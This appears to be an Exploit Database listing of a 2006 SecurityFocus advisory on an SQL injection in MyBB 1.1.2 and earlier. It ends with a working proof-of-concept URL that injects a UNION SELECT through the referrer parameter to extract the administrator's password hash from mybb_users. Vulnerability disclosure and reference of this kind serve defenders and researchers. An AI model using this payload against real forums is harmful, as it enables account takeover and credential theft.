MyBB 1.0/1.1 - 'index.php' Referrer Cookie SQL Injection

Author: Devil-00
type: webapps
platform: php
port: 
date_added: 2006-01-31  
date_updated: 2013-07-28  
verified: 1  
codes: CVE-2006-1974;OSVDB-25672  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 27155.txt  
source: https://www.securityfocus.com/bid/16443/info

MyBB is prone to an SQL-injection vulnerability.

The vulnerability presents itself when user-supplied input via cookie data is passed to the 'index.php' script.

Successful exploitation can allow an attacker to bypass authentication and gain administrative access to a site. Other attacks may also be possible.

MyBB 1.1.2 and prior versions are reported vulnerable to this issue.

http://www.example.com/index.php?referrer=9999999999'%20UNION%20SELECT%20password,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,
9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*